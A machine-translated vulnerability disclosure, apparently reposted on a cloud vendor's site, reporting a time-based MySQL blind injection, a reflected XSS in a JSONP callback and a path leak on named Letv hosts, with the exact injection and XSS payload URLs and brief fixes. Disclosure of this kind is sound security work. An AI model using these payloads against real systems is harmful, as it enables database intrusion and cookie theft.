Letv MySQL blind injection, callback reflective XSS and an absolute path Leakage

Source: Internet
Author: User

Letv MySQL blind injection, callback reflective XSS and an absolute path Leakage

The injection point is located (parameter ID ):


Http://joyearcars2014happy.hz.letv.com/php/votenum.php? Callback = jquery171017738118954002857_14087927555 & id = 1 & _ = 1408792945702

The reflected XSS is located:

Http://address.shop.letv.com/api/web/insert/insUserAddress.jsonp? Callback = callback __% 3 Cimg % 20src = aaaa % 20 onerror = alert (document. cookie) % 3E &

Absolute path leakage:

Http://joyearcars2014happy.hz.letv.com/php/joyearcar.php? Callback = aaaa & username =

Notice: Undefined index: tel in/letv/joyearcars2014happy.hz.letv.com/php/joyearcar.php on line 11

Test process

Http://joyearcars2014happy.hz.letv.com/php/votenum.php? Callback = jquery171017738118954002857_14087927555 & id = if (length (user ()> 22, sleep (1), 0) & _ = 1408792945702

It can be guessed that the length of the current connected user is 23.

I only guessed that the ASCII code of the first letter is 50, and the letter "2 ":

Http://joyearcars2014happy.hz.letv.com/php/votenum.php? Callback = jquery171017738118954002857_14087927555 & id = if (ascii (mid (user (), 1, 1) = 50, sleep (1), 2) -- & _ = 1408792945702

Non-root, not further exploited.
 

 

Solution:

Solve SQL Injection

Code callback

Detailed error message not displayed

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.